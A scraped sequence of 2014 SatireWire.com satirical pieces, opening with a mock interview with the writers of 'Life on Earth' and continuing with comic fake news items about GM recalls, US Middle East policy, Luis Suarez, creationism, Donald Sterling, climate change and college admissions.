Doesn’t really work, does it? Q: I guess not. But let’s start with this: you two write the entire script for Life on Earth. Everything that has happened and will happen, everyone who ever existed, you write it all. I think, then, the first question most people want to know the answer to is. ‘What’s it like working with Johnny Depp?’ DAN: John is great. A real professional. BENJI: And funny. He cracks us up on set. DAN: I’m going to miss him. Q: Sorry? BENJI: Oops. Spoiler alert! Q: Are you saying… DAN: Next question. Q: Alright. I think most people were surprised to learn not only that Life on Earth is a show, but that God doesn’t write it all Himself. BENJI: Honestly? God has no gift for narrative. DAN: Originally he wanted Adam and Eve to be actuaries. BENJI: ‘In the beginning, God created the Heavens and the Earth and the statistical probability tables used to quantify risk.’ No thank you. DAN: And remember, LoE is a big cast. More than six billion characters. So he hired writers. Q: But only two of you. How do you keep track of so many storylines? BENJI: We have a really big whiteboard in the writer’s room. Q: And each person – each character – their lives are entirely scripted? Because frankly, life feels very improvised. DAN: Thank you. LoE is written to make it appear improvised. Like Rameses II or Vladimir Putin or Miley Cyrus. They appear to be improvising, saying or doing the most incredibly stupid or horrible things, but it’s all scripted. We’re proud of it, even though Benji doesn’t always take the show seriously. BENJI: I do take it seriously. DAN: Really? Kim Jong-il and Dennis Rodman? BENJI: OK, sometimes I don’t. Q: Since you introduced human characters 100,000 years ago, they’ve really taken hold. As you said, there are more than six billion. What have been your favorites so far? DAN: Oh wow, that’s tough. Hitler, obviously. I know he’s hated, but the performance. Tortured artist, genocidal maniac, ridiculous mustache. BENJI: That last was my idea. DAN: There’s a shock. BENJI: What? It humanized him. DAN: Other than that, Martin Luther King, Jr., very inspiring role. Galileo I enjoyed writing. He was a master with shadow puppets. No one remembers that. But a lot of our favorite characters you’ve never heard of. There was a sixth century Chinese girl, Xi Ping. She was very complicated. A genius, a recluse, tender-hearted but stubborn. She was going to cure typhoid and develop a viable economic system that would have created the first true middle class. Q: Would have? BENJI: She was trampled by a horse when she was two. DAN: Script mix-up. She had the same name as a Mongolian warlord. BENJI: You know who I liked? Beethoven. DAN: Because you made him deaf. BENJI: I know. A deaf composer. Hilarious! DAN: I thought he should just be left-handed. BENJI: Deaf is funnier. He was suffering but triumphant. Inspirational. If someone can be deaf and a great composer, it gives people hope Q: But hope for what? One of the most controversial things about the show – a big complaint, really – is that everyone in it eventually dies. DAN: Without the prospect of death, there’s no dramatic tension. BENJI: I wrote a show about a planet of immortals once. Life on Teozo? The only thing that died was suspense. “Stop or I’ll shoot, but either way you’ll be fine!” Honestly, I wrote it and I couldn’t watch. Q: Wait. There is life on other planets? BENJI: Oops. Spoiler alert! DAN: Of course there are shows on other planets. But I know what you mean. You get attached to certain characters, like someone’s parents, or a friend, or Gandhi. Sometimes you feel like you just get to know them and poof, we’ve written them out. Usually you don’t even know why. It’s upsetting, but it’s supposed to be upsetting. BENJI: We’re keeping you emotionally involved in the story, you see. Q: So when I was nine, and you killed off my father in a car accident… … BENJI: This is awkward. DAN: We were trying to advance the story. Introduce a plot twist. Plus, we liked the idea of your mother remarrying. She’d been so loyal. It gave her character a new perspective. BENJI: Your character didn’t understand that, of course, which made your rejection of your new father all the more forceful. DAN: Extraordinary performance, by the way. BENJI: Even if you overplayed the tears a bit. Q: And God’s OK with all this? DAN: He gives us free reign. I think He trusts us. Q: He sounds really hands-off. BENJI: Are you joking? You ever met someone with O.C.D.? Who’s omnipotent? DAN: O.O.C.D. is the worst form of O.C.D. BENJI: God doesn’t do script, but believe me He insists on doing pretty much everything else, not just executive producing. He does scheduling, catering, lighting, set design… DAN: Special effects, which He lives for, if you hadn’t noticed. BENJI: True. If we left it to Him, Life on Earth would just be storms and earthquakes and asteroid strikes, with no plot. DAN: Kind of like The Day After Tomorrow. BENJI: Believe me, when the end credits roll, He’s gonna be all over them. Q: I think a lot of people are disappointed that He doesn’t appear very often in the show. DAN: I hear you. But every now and then He does a cameo. A voice. A beam of light. A whirlwind. The thing is, and He’d be the first to tell you this, He can’t act. BENJI: Yeah, if you tell Him to just be Himself, He gets all supremely self-conscious. In rehearsals as the burning bush, He just kept saying, ‘This is stupid this is stupid…’ Q: You have rehearsals? DAN: Just for God. The self-conscious thing. BENJI: All the rest is live. Q: And controversial, especially this season. Right now you’ve got multiple, extremely violent storylines running. Ukraine, the Middle East, St. Louis… DAN: Yeah, this probably will be one of our strongest seasons. BENJI: The reviews have been terrific. Q: Reviews? DAN: You call it the news. On TV, newspapers, online. It seems everyone can’t stop talking about LoE. It’s very gratifying. Q: But humans would also argue it’s horrible. So much death. BENJI: Dramatic tension. DAN: It does keep you on the edge of your seat. So much is going on there’s literally something for everyone in the show to be upset about, happy about, worried about. Usually more than one thing. That’s why the show works. It raises so many questions. Q: And one of the biggest is never answered: “Why are we here?” DAN: Does there have to be a reason? Q: But surely Life on Earth has to be about something, otherwise why exist? BENJI: I think the best way to look at it is Seinfeld, that TV show very famously about everything and nothing. Just think of life as an extremely violent episode of Seinfeld. Q: That’s not very reassuring. BENJI: What? People loved Seinfeld. DAN: Footnote: Benji created Larry David. Q: But they watched that for entertainment. BENJI: Just like you watch Life on Earth. You tune in for the entertainment. All of you. Q: But humans have no choice. DAN: Ah but they do. They’re our biggest fans, but they can stop watching. They can leave the show at any time. Q: You mean die? DAN: That’s another way to put it. BENJI: If you’re a drama queen. Q: But people don’t want to die. BENJI: Exactly. Because they’re hooked, you see? It’s a very compelling show. Much better than ‘Life on Cranog B.’ The entire cast walked out on the second day of shooting. DAN: Well it was a ridiculous premise. A cloudless desert planet of hyperintelligent parasites that exploded in sunlight. BENJI: They could play harmonica. DAN: Not for very long. BENJI: It was Will Ferrell’s first project, you know. He played an exploding parasite. DAN: As did everyone else. Q: Will Ferrell? I don’t understand. DAN: Well, he was young. You take any role you can get. BENJI: He doesn’t remember any of that, of course. You don’t when you’re recast. Q: Recast? DAN: We call it recast. When your character on Earth dies, you’ll get recast in another show. Q: Wow, so there is life after death? BENJI: I don’t think the cast of Cranog B would agree. Q: Lastly, any chance you’ll give us a hint as to how the show is going to end? BENJI: Sorry, you’ll just have to keep tuning in. DAN: Well, not you personally. You won’t be there. Q: I won’t… BENJI: I guess it’s too late to say ‘Spoiler alert.’ © 2014 SatireWire.com Related Tags: "game of thrones" Previous Topic: U.S. TROOPS TO FIGHT EACH OTHER TILL MIDDLE EAST SORTS ITSELF OUT Next Topic: GOD DEFENDS SCENES OF SEX, VIOLENCE IN LIFE ON EARTH'], ['no-topic', 'U.S. TROOPS TO FIGHT EACH OTHER TILL MIDDLE EAST SORTS ITSELF OUT', 'BAGHDAD (SatireWire.com) – With the Middle East hopelessly fractured and America’s allies increasingly indistinguishable from its enemies, the Obama administration today said “Fuck it” and announced U.S. troops in the region will just fight each other for the time being. “The truth is, we have no idea who the enemy is anymore, so for now we’ve ordered our forces to just shoot at each other until we can figure out which side we’re supposed to be on,” said White House Press Secretary Josh Earnest. “At least that way half the time we’ll be right, which is better than we’ve been doing lately.” While the thought of U.S. troops intentionally firing on each other is, “not a pleasant alternative,” Earnest said it makes sense given the situation. “Look at where things are now,” he said. “Syria, who we oppose, is helping Iraq, who we support, who is fighting ISIS, who we oppose, who got help from Saudi Arabia, who we support, who dislike Iran, who we oppose, who is helping Iraq, who we support, who gets help from Russia, who we oppose, even though they’re friendly with Pakistan, who we support, although they’re helping the Taliban, who we oppose, because they threaten Afghanistan, who we support, even though they like Hamas, who we oppose, who is helping the Syrian rebels, who we support, who are fighting Syra, who we oppose… and it all just starts over again. “Honestly, just shooting ourselves is a blessing,” he added. Pentagon spokesman Maj. Bradley Hummels agreed, saying the strategy saves time and energy, if not lives. “We gave Iran weapons, and they turned against us. We gave Afghani rebels weapons, and they turned against us. We gave Iraq weapons, and they were used against us,” Hummels explained. “Basically, no matter what we do around here, we’ll end up getting shot with our own bullets in the long run, so we might as well cut out the middleman and do it ourselves.” In Washington, however, the idea of Americans turning on Americans met with strong resistance. “We don’t send our brave men and women over there to fight each other, we send our brave men and women over there to topple dictatorships and battle extremists and champion democracy,” said Sen. Lindsay Graham, R-SC. “Oh, and also to protect dictatorships and arm extremists and fight against democracy, if, you know, we don’t like who they elected, soooo… yeah. I guess shooting at ourselves makes as much sense as anything else.” “Never mind,” he added. State Department spokeswoman Eileen Night, meanwhile, said the plan is consistent with historic U.S. policy in the region. “In the Middle East, the U.S. is allied with people who are shooting at us, which means that we should also be shooting at us, as a way to support our allies,” she said. “But because we’re shooting at us, that means we’re also allied with our enemies, and because ‘The enemy of my enemy is my friend,’ and we’re our own enemy, we are both our enemy’s friend and our friend’s enemy. As such, shooting at ourselves fulfills both obligations. Diplomatically speaking.” To fulfill that obligation, the Pentagon said the 35,000 U.S. troops now stationed in the Middle East will be split into two opposing groups and take part in “Operation Absolute Ambiguity” until further notice. While he could not be sure how long the operation will last, Major Hummels was definitive when asked whether the U.S. “not fighting at all” was ever considered as an option. “No, we’re America,” he said. “We have to be shooting at somebody.” © 2014 SatireWire.com Related Tags: afghan us, iraq policy, mesopotamia, middle east, us foreign policy, us middle east policy Previous Topic: STRONG SALES PROVE AMERICANS WOULD RATHER DIE IN A CHEVROLET Next Topic: DAN AND BENJI, NOT GOD, WORK IN MYSTERIOUS WAYS'], ['no-topic', 'STRONG SALES PROVE AMERICANS WOULD RATHER DIE IN A CHEVROLET', "DETROIT (SatireWire.com) – Despite breaking industry records for safety recalls, General Motors this week announced monthly sales continue to rise, leading the nation’s No. 1 automaker to declare that more Americans would rather die in a new GM car than any other car in the world. Head on down to your local Chevy, Buick, GMC or Cadillac dealer for 'Go Out in Style' Savings GM sold a market-leading 267,461 U.S. vehicles in June alone, and its yearly sales have surged past 1.5 million. At the same time, the company has recalled a record-smashing 29 million vehicles in 2014, including millions of cars with faulty ignition switches that have been blamed for more than 100 deaths. The conclusion, said company executives, is obvious. “Numbers don’t lie, and the numbers are very clearly telling us that consumers prefer driving a new GM vehicle to life itself,” said General Motors CEO Mary Barra. “How else to explain that sales are up at the same time safety recalls are through the roof? “Oh, and accidentally going ‘through the roof’ appears to be a problem with the 2015 Buick Enclave,” she added. “We’re recalling that one.” Far from damaging its brands, defects are creating sales, said GM marketing vice president Craig Burley. “With all the recalls, customers are coming back into dealers to get their cars fixed, seeing the new GM models and thinking, ‘Hmm, I could die in an electrical fire in my old Chevy Aveo, or I could die in this brand new Buick with faulty brakes,’” said Burley. “Obviously you choose the new GM. It’s a no brainer, really. In every sense of the term, ‘no brainer.’” Given the trend, Barra said the company will now encourage dealers to promote recallable defects as factory-installed options during its July ‘Go Out in Style’ sales campaign. “Right now you can lease a 2014 Chevrolet Corvette with alloy wheels, blind-spot monitors and defective side air bags for only $549 a month,” she said. “Or why not drive away in a new GMC Sierra with navigation, panoramic sunroof and faulty power steering, or a Cadillac CTS with dual exhausts, heated seats and inoperable windshield wipers? With so many options, we expect strong sales won’t stop anytime soon.” “Oh, and ‘not being able to stop anytime soon’ is also a problem with the 2015 Chevy Silverado,” she added. No matter which vehicle you choose, Barra promised all models will come with that intoxicating new GM car smell of leather, laminates, and liability. © 2014 SatireWire.com Previous Topic: GM SPLITS INTO SEPARATE CAR-MAKING, CAR-RECALLING DIVISIONS Next Topic: U.S. TROOPS TO FIGHT EACH OTHER TILL MIDDLE EAST SORTS ITSELF OUT"], ['no-topic', 'GM SPLITS INTO SEPARATE CAR-MAKING, CAR-RECALLING DIVISIONS', 'DETROIT (SatireWire.com) – General Motors today announced it will split into separate car-making and car-recalling divisions to solidify its position as the world’s largest auto recaller. Added feature: All GM cars come with navigation, including a default “Home” button automatically configured with your car dealer’s address. The company’s four current divisions – Buick, Cadillac, Chevrolet and GMC — will be joined by the newly minted “GM Again” division, which will be responsible for recalling all the Buicks, Cadillacs, Chevrolets and GMCs made by the other four divisions. The move comes days after GM announced the recall of another 8.4 million vehicles, giving it a record 29 million for 2014. Because the world’s No. 2 automaker only builds about 9 million cars a year, “GM Again” instantly becomes the company’s most successful division in terms of units moved. “With combined annual sales and recalls of 38 million and counting, General Motors will once again lead the world in something,” boasted GM CEO Mary Barra. The key, she said, is matching consumer demand with manufacturer capability. “During an internal review, we asked ourselves, ‘What should we make? Hybrid vehicles? Sport utility vehicles? Luxury vehicles?’” she explained. “Pretty quickly we concluded that we should focus on what we do best: recallable vehicles. “We call it ‘Focusing on our core incompetencies,’” she added. According to MotorWeek Monthly editor Martin Scheinblum, GM is uniquely suited to launch a recall unit. “Most corporations need to retool and reinvest to start a new division, but GM doesn’t need to do anything,” Scheinblum said. “They’ve already got the systems and practices in place, right now, to build fully recallable cars and trucks for years to come.” Since GM announced its first batch of recalls in February, sales have actually gone up, and Barra said she expects the high profile of GM Again to add to that recognition. “Our goal is simple,” said Barra. “Whenever you hear of a faulty ignition switch, an electrical short in the transmission, poor welding on the driver’s door, or improper air bag deployment, we don’t want you to think, ‘Hey, is that a Toyota? Is that a Ford?’ We want you to think, ‘No, that’s a GM Again.’” © 2014 SatireWire.com Related Tags: buick, cadillac, chevrolet, chevy cobalt, general motors, gm, gm recall, gmc, ignition switch Previous Topic: FIFA ORDERS SUAREZ TO BE PUT DOWN Next Topic: STRONG SALES PROVE AMERICANS WOULD RATHER DIE IN A CHEVROLET'], ['no-topic', 'FIFA ORDERS SUAREZ TO BE PUT DOWN', 'NATAL, BRAZIL (SatireWire.com) — After a third biting incident in four years, Uruguayan striker Luis Suarez will be put down, football’s governing body ruled today. Suarez often jumped up on his own players, but only to lick their faces. The talented but mercurial soccer player will be sent to a local animal shelter in Natal, Brazil, where FIFA officials say he will be euthanized humanely. “I know it will be sad for you to see Luis destroyed and it’s sad for us to make the order for destruction, but that’s what regulations require us to do,” said FIFA in a statement. The decision comes after Uruguay’s World Cup game with Italy on Tuesday, where Suarez bit Italian defender Giorgio Chiellini. Last year, he bit Chelsea defender Branislov Ivanovic, while in 2010, playing for Ajax in Holland, he bit PSV Eindhoven player Otman Bakkal and earned the adorable pet name, “The Cannibal of Ajax.” Back in Brazil, those who regularly played with Suarez said they will always have fond memories of their diminutive friend. “For me, I’ll think of the way Luis ran around on those little legs, scampering all over the place,” said Liverpool captain Steven Gerrard. “And how he loved to chase the ball!” “When he scored he used to jump on up me,” recalled Liverpool’s Daniel Sturridge. “It was so cute the way he’d nuzzle his head in my chest and lick my face. In retrospect, I guess I should have questioned the licking, but he was so happy it seemed natural.” “Luis was so funny,” added Uruguayan defender Diego Godin. “He did this trick where if you even lightly touched him, he would fall down, roll around on the ground and then play dead. “Now I guess he won’t be… pretending…” added Godin, fighting back tears. Liverpool Football Club, which owns Luis, said it regretted the decision but would not appeal. “Losing Luis is like losing a family member,” said Liverpool owner John Henry. “When we rescued him from Ajax, we really hoped he was past his biting phase. This hurts us as much as it did Chiellini.” Henry said the hardest part was breaking the news to Liverpool manager Brendan Rogers. “I told Brendan I would buy him someone to replace Luis, but he kept screaming, ‘I don’t want another striker! I want Luisl!” Henry said. The owner said things calmed down a bit after he took Rogers out for ice cream. © 2014 SatireWire.com Related Tags: bites, chiellini, fifa, luis suarez, Suarez, suarez bite, world cup Previous Topic: CREATIONIST TELESCOPE FINDS NEARLY 6,000-YEAR-OLD GALAXY Next Topic: GM SPLITS INTO SEPARATE CAR-MAKING, CAR-RECALLING DIVISIONS'], ['no-topic', 'CREATIONIST TELESCOPE FINDS NEARLY 6,000-YEAR-OLD GALAXY', 'PETERSBURG, KY (SatireWire.com) – Creationists using a deep-faith telescope said today they have discovered a galaxy formed at the very beginning of time, nearly 6,000 years ago. The galaxy, which they named “Michael” after one of the earliest angels, is about 6,000 light years from Earth, but not more, “because light did not exist before that time,” researchers explained. A telescope (above) is an instrument that aids in the observation of remote objects by collecting electromagnetic radiation. A creationist telescope (below) is the exact same thing, but with the lens cap on. The team’s discovery was immediately condemned by the American Astronomical Society, which said “Michael” is actually the Andromeda galaxy, which formed 9 billion years ago. In response, Bertram Hill, lead theophysicist at the subbasement Creation Science Observatory in Kentucky, said, “No it isn’t” and called the debate a tie. Hill and his colleagues made their observations using a specially designed Deep Faith Creationist Telescope, which is a standard wide-field, Ritchey–Chrétien hyperbolic telescope, but with the lens cap on. From there, calculating the age of Michael, and the Universe itself, was simple, Hill said. “We know this galaxy is about 6,000 years old because we know the Universe is 6,000 years old, and we know that because, contrary to what non-believers say, we’ve done the math,” said Hill. “Specifically, we’ve taken the ‘supposed’ age of the Universe – 13 billion years – and multiplied it by .000046, which gives us, as we suspected, the true age of 6,000.” But why multiply the age of the Universe by .000046? “Because that gives us 6,000,” said Hill. Using this same multiplier, Hill said creationists plan to further shake up the scientific community by announcing that dinosaurs died out 3,000 years ago, Jesus was born last month, and Pittsburgh was founded on Tuesday. © 2014 SatireWire.com Related Tags: age of the universe, andromeda, astronomy, creation science, creationism, evolution, intelligent design Previous Topic: COURT DROPS MINIMUM I.Q. FOR EXECUTION; FLORIDA NOW AT RISK Next Topic: FIFA ORDERS SUAREZ TO BE PUT DOWN'], ['no-topic', 'COURT DROPS MINIMUM I.Q. FOR EXECUTION; FLORIDA NOW AT RISK', 'WASHINGTON, D.C. (SatireWire.com) — The Supreme Court Tuesday struck down a Florida law that banned anyone with an IQ below 70 from being executed, a decision that effectively means half of Floridians are now eligible for the death penalty. In 2013, 28% of Floridians shot at their IQ tests because they said they felt threatened. The cutoff was originally put in place so that convicted murderers deemed intellectually incompetent – generally people with IQs below 70 – would not face automatic execution. By coincidence, the law also covered 49 percent of Floridians, whose IQs range from 69 down to 3rd District Congressman Ted Yoho. Florida Deputy Attorney General Bill Vorn immediately criticized the ruling, saying it was better to put a hard number on competency rather than attempt to figure out if a criminal is reasonably competent by psychological testing. “We absolutely need an automatic cutoff,” said Vorn. “If we just go by testing, no one in the state will ever be executed because if you choose to live in Florida, it’s just too easy to say something’s wrong with you.” Statistical evidence appears to back up Vorn’s assertion. In a telephone poll by the Orlando Sentinel asking if those with IQs below 70 should face the death penalty, 51 percent of Florida residents said “No,” while 22 percent said “Hello” into the wrong end of the phone, 19 percent said, “Why is my leg warm?” and eight percent said, “I set myself on fire again.” In the same poll, however, 82 percent of residents said the decision to execute those convicted of a capital crime would not affect them because they had never been to Tallahassee. © 2014 SatireWire.com Related Tags: 70 IQ, death penalty, florida, floriduh, supreme court, ted yoho Previous Topic: STERLING WILLING TO SELL CLIPPERS IF HE CAN STILL OWN BLACK PLAYERS Next Topic: CREATIONIST TELESCOPE FINDS NEARLY 6,000-YEAR-OLD GALAXY'], ['no-topic', 'STERLING WILLING TO SELL CLIPPERS IF HE CAN STILL OWN BLACK PLAYERS', 'LOS ANGELES (SatireWire.com) – In a last-ditch effort to compromise with the NBA, Los Angeles Clippers owner Donald Sterling today said he is willing to sell the franchise as long as he still gets to keep the team’s African-American players as his personal property. Clippers\' staff admit they told Sterling he literally "owned" the team\'s black players. NBA Commissioner Adam Silver immediately responded by saying Sterling doesn’t “own” the people in his organization, but the embattled owner, banned by the league for racist comments, said that was not his understanding. “No, I remember signing the papers with their former masters,” said Sterling. “It was very official.” Asked about Sterling’s recollection, Clippers Assistant GM Matt Gerson admitted the team’s staff, “may have mislead” the owner into believing the players he bought were his property. “OK, I know that sounds bad, but we had to,” Gerson explained. “Otherwise he wouldn’t have allowed black players anywhere near the team.” Gerson also admitted he told Sterling that the player’s agents were their slave masters, and that the contracts they signed were property transfers. “Again, had to,” he said. “Don doesn’t know African-Americans have legal standing yet.” Does Sterling not know slavery was outlawed in the United States in 1863? “We were going to tell him, eventually,” Gerson replied. “We just weren’t sure he was ready.” In response to the news, Sterling, who faces the forced sale of the Clippers by June 3 , proposed another compromise, saying he would keep the team but grant the 12 African-American players their freedom. “They can go where they want, marry who they want, even vote, I suppose, if those people are allowed to vote,” said Sterling. “That seems pretty fair to me.” “Look, I’m doing more than Magic Johnson did,” he added. “Did he ever free anyone? He never freed anyone.” © 2014 SatireWire.com Related Tags: adam silver, clippers sale, donald sterling, la clippers, los angeles clippers, nba, stiviano Previous Topic: PULL THE CLIMATE PLUG Next Topic: COURT DROPS MINIMUM I.Q. FOR EXECUTION; FLORIDA NOW AT RISK'], ['no-topic', 'PULL THE CLIMATE PLUG', "(SatireWire.com) — As report after report tells us, the environment is like a terminally ill relative being kept alive on life support, and that’s no way to live, is it? That’s why, as difficult as this may be to hear, we need to pull the climate plug. We need to let go. We need to move on. It's not global warming that's killing me, it's the suspense that's killing me. Instead of fighting or ignoring climate change, we should just give in to it, like I did with that piece of pie I ate for breakfast this morning. We put the whole thing into overdrive, open up the throttle, throw caution to the lung-burning wind and belch our bile into the sky like there’s no tomorrow, which, apparently, there isn’t going to be anyway, so what the hell? No more fear. No more worry. No more damn reports. Call it Earthanasia. It will be as easy as walking up to the machine and yanking the cord, except technically speaking we’ll walk up to our machines – our cars, our air conditioners, our factories, our cows – and turn them all on, and leave them on, until it’s finally, mercilessly over. And it would be a mercy. Every day we hear climate change is going to be disastrous: more wars, more famine, more flooding. Right now, it’s not global warming that’s killing me, it’s the suspense that’s killing me. I mean, yes, millions are going to die, and that’s bad, but do you know what’s just as bad? The terrible psychological burden we live with, every day, of knowing that millions of us are going to die. Who needs that? Really, if scientists genuinely cared about us, they wouldn’t constantly berate us for not doing anything about climate change, they would figure out a way to speed up the whole process to put us out of our misery. Like pulling the plug. Look at it this way: if a doctor comes in and says, ‘I can keep your grandmother alive, but it will be expensive and involve lots of procedures and new technologies and it may well be too late anyway,’ who’s going to say, ‘Yeah, go for it?’ OK, maybe Grandpa would, but he’s not ready to let go, is he? He’s been with Grandma for so long; so very, very long. But there comes a time, right? I mean, she’s 96, for God’s sake. Is she happy lying there like that? No. She’s not happy at all. In fact, Grandpa, she hasn’t been really, truly happy since before you and your secretary took that “working weekend” to New York in 1968. You think Grandma didn’t know about that? Guess what? She knew about that. The point is, Aristotle once said, “Fear is pain arising from the anticipation of evil.” Global warming is that evil, and the pain we’re feeling is the anticipation of that evil. If you combine that with another famous philosophical dictum, that the fear of a thing is worse than the thing itself, then we can deduce that dying from a climate-induced pandemic won’t be nearly as bad as the fear of dying of a climate-induced pandemic. In other words, when the tidal wave hits or the food disappears or the starving polar bears come south and raid our daycare centers, or whatever, we’ll be like, ‘Oh, this is what I got so worked up about? Silly me.’ Obviously, it will be hard at first, not living. But we’d adapt. We’d get used to it. Because that’s what humans do. We move on. #pulltheclimateplug © 2014 SatireWire.com Related Tags: climate change, earthansia, global warming, pull the climate plug Previous Topic: CHEVY COBALT: “I HAVE A DISABILITY, NOT A DEFECT” Next Topic: STERLING WILLING TO SELL CLIPPERS IF HE CAN STILL OWN BLACK PLAYERS"], ['no-topic', 'CHEVY COBALT: “I HAVE A DISABILITY, NOT A DEFECT”', 'GUEST COMMENTARY By CHEVY COBALT (2006 2-door) In the last several days I have been called everything from “tragically flawed” to “extremely dangerous,” and it hurts. I am not defective. I simply have a genetic disability. I was born with it, and you should respect me as a vehicle instead of resorting to intolerant, bigoted labels. As you know, my condition involves a faulty ignition switch that causes my engine to shut off occasionally. And with it the steering and airbags and brakes. I’m not alone. I know of 2.6 million other GM vehicles that are also differently abled. Fortunately, it was diagnosed early, but my GM parents decided not to do anything about it. You have heard they were motivated by money, that they didn’t think it was worth the cost to fix, but if you knew the real reason, you’d be ashamed of the way you’ve been treating me. You see, unlike many of you, GM has always respected who I am as a vehicle. Instead of focusing on my shortcomings, they made me feel good about myself. Instead of pointing out my genetic disability, they talked about my 5-speed transmission, my side-curtain airbags, my great highway mileage, my economical pricing. Yes, they knew I had some “issues,” but they didn’t publicly shame me by issuing a recall. Why not? Because GM knew how you’d react. They knew I would be ostracized. They knew I would be labeled “defective.” It’s ironic, really. GM is in trouble for not protecting you from me, when the truth is, all along they’ve been protecting me from you. Sadly, they were right. Instead of treating me as a valuable member of the vehicular community, you’ve disparaged me and made me feel worthless. Well done you. I shouldn’t be surprised. Humans have a long and sordid history of prejudice. For example, do you know what an “absence seizure” is? It’s a type of seizure where your body briefly just switches off. One second you’re up and running, the next you’re not. These seizures are associated with epilepsy, and in ye olde barbaric days, epileptics were considered abnormal. They were persecuted, ridiculed, cast out. And all because they shut down occasionally. Just like me. Today, we don’t ridicule epileptics. We don’t mistreat them. You know who did that stuff? The Nazis. That’s right, the Nazis. Like so many they considered “defective,” the Nazis cast out epileptics, as well as the deaf, the blind, and people with physical deformities. “Life unworthy of life,” they were labeled. I guess we’re living in Nazi Germany now. Or would you prefer ancient Rome, where they left “defective” newborns on the hillside for the wolves? Not that you care what happens to me. Not that you care how I feel. That’s why I’m not surprised that yesterday, thanks to more pressure from “human victims” and their bigoted labeling, GM was forced – yes forced — to recall another 1.3 million of its vehicles. Apparently they have a power steering disability. They go left when they should go right, or right when they should go left, I don’t know. But how many of you have always chosen the correct path? How many of you – perhaps suffering from some disability — have never veered off course through no fault of your own? Life is hit and miss, full of mistakes and shortcomings and bad decisions. That doesn’t make you defective. It makes you human. And my disability doesn’t make me defective. It just makes me a GM product. © 2014 SatireWire.com Related Tags: chevrolet, cobalt, general motors, gm, ignition switch, recall Previous Topic: SPOILER ALERT: UN REPORT RUINS END OF GLOBAL WARMING DRAMA Next Topic: PULL THE CLIMATE PLUG'], ['no-topic', 'SPOILER ALERT: UN REPORT RUINS END OF GLOBAL WARMING DRAMA', 'NEW YORK, N.Y. (SatireWire.com) — Global warming followers the world over were outraged today after the U.N. failed to include a “spoiler alert” on its new report revealing that climate change will result in famine, disease and widespread environmental catastrophe during the next century. “They totally gave away what’s going to happen,” read one angry post on Reddit’s Climate page. “That is so irresponsible. Well, I’m just not going to pay any attention now. Why bother?” "The Great Barrier Reef dies? Why would they tell me the Great Barrier Reef dies?" wrote one angry climate change watcher. The 2,600-page report from the U.N.’s Intergovernmental Panel on Climate Change details numerous dire outcomes of rising temperatures and sea levels, some of them “almost spitefully specific,” complained detractors. Among the leaks: coral reefs will disappear by 2050, nitrous oxide and methane will double by 2070, and Himalayan glaciers will melt nearly 50 percent by 2100. “Great. So now I know what happens in 2050, 2070, and 2100,” said one comment on the BBC’s website coverage. “That pretty much ruins the next 100 years for me.” UN scientists defended the study, insisting they hadn’t meant to impede anyone’s interest in the topic. “We’re not saying this absolutely will happen,” said Dr. Rajendra K Pachauri, chairman of the IPCC. “We’re saying it’s likely to happen, unless we do something.” “Oh please. Don’t try to walk it back now,” responded another Reddit poster. “Just look at what you’re revealing. Crops die. Fish die. The Great Barrier Reef dies. Why don’t you just ruin the end of Downton Abbey and The Walking Dead while you’re at it?” “If they’d have just said, ‘Someone is going to die by 2050,’ or ‘Something is going to disappear by 2100,’ that would have been fine,” read another comment. “Don’t scientists have to sign a non-disclosure agreement or something, promising not to give away too much of the plot?” By press time, much of the anger at the U.N. had died down as detractors moved on to Reddit’s ‘Holy Bible’ page to complain about spoilers in the Book of Revelations. © 2014 SatireWire.com Previous Topic: INSIDE THE INSIDE THE INSIDE OF THE COLLEGE ADMISSIONS PROCESS Next Topic: CHEVY COBALT: “I HAVE A DISABILITY, NOT A DEFECT”'], ['no-topic', 'INSIDE THE INSIDE THE INSIDE OF THE COLLEGE ADMISSIONS PROCESS', "“Shrouded in mystery, the college admissions process often leaves students and parents puzzled as to why some gain admittance while others receive the dreaded rejection letter.” – Time Magazine YALE UNIVERSITY At Yale University, one of the most selective colleges in the world, admissions decisions are actually pretty straightforward, says Angela Kanali, Yale’s Associate Dean of Admissions. “People think it’s some grand, mysterious process, but honestly it’s not. It’s just GPA, test scores, clown masks and defibrillators.” -- Yale admissions officer. “We winnow down the same way our competitors do – GPA, test scores, extracurriculars,” Kanali explains. “Of course, being Yale, we’re still left with thousands of impressive applicants, so our secret is, we make the final cut based on the student essay. Over the three days before we announce, we have our admissions officers read the final candidates’ essays aloud, one at a time. While one officer reads, the rest of us wear clown masks and shock the reader with defibrillators. We base our decisions solely on whether the reader is able to finish the essay. Usually they can’t, so most applicants are rejected. That’s why we only admit about 8 percent of applicants. “People think it’s some grand, mysterious process, but honestly it’s not,” she adds. “It’s just GPA, test scores, clown masks and defibrillators.” DUKE UNIVERSITY Each year, most Duke admissions officers do the work you’d expect, sifting through thousands of applications to assemble the right freshman class. In fact, only one of the officers, a female, is annually selected for the ritual known as anguis orare (roughly translated: snake divination). With the entire admissions department gathered around, the divinatress bites the heads off a series of live snakes, then screams out random numbers as blood and scales drip down her chin until, just 30 minutes later, 100 decapitated snakes lay writhing on the floor. “The numbers she yells out aren’t really random,” says Duke’s Associate Admissions Director, Randall Turner. “They’re actually inspired by the spirit of the dead snakes and the massive amount of peyote the divinatress takes before biting their heads off.” The numbers correspond to applicant files, and indicate whom the college will accept — at least this year. “Some years the numbers are the kids who get in, sometimes they’re the kids we reject,” says Turner. “That doesn’t matter. What’s important is, we have a process.” UNIVERSITY OF WISCONSIN-MADISON At the University of Wisconsin, 30 admissions officers diligently sort through more than 29,000 applications and, after months and months of hard work, winnow them down to 14,000 solid candidates. Then the real work begins. University of Wisconsin admissions officers Just two days before notices are sent out, the officers gather, late at night, on the 50-yard-line of Randall Stadium. Robed in purple, their feet bare and toenails painted alternately in the colors of anguish and elation, they stand in a solemn circle, each officer holding a list of with the names of 500 acceptable students – 14,000 names in all. In the circle’s center is a gigantic block of white cheddar cheese studded with kindling. The Dean of Admissions, dressed as school mascot Bucky the Badger, takes a red candle and lights the kindling. As the fire comes to life, the group begins to sing Pink Floyd’s “Another Brick in the Wall.” After the last refrain, Dean Bucky shouts, “Teachers, leave them kids alone!” and the admissions officers throw their lists onto the fire. In moments, all the names are aflame and acheesed. How do they know who’s admitted? “Actually, we don’t,” concedes one admissions officer. “They’re all burned up in the fire. But that’s why we have the ceremony two days in advance. Right after the ceremony, we all run back to our offices and start going through all the folders again. In the end, it’s mostly just us randomly admitting and rejecting people in order to make the deadline.” But wouldn’t it be more effective if they just didn’t burn the lists? “No, we tried that once,” the officer says. “Instead of burning the list of names, we burned all the applicant files. That was worse. We didn’t admit anybody that year.” 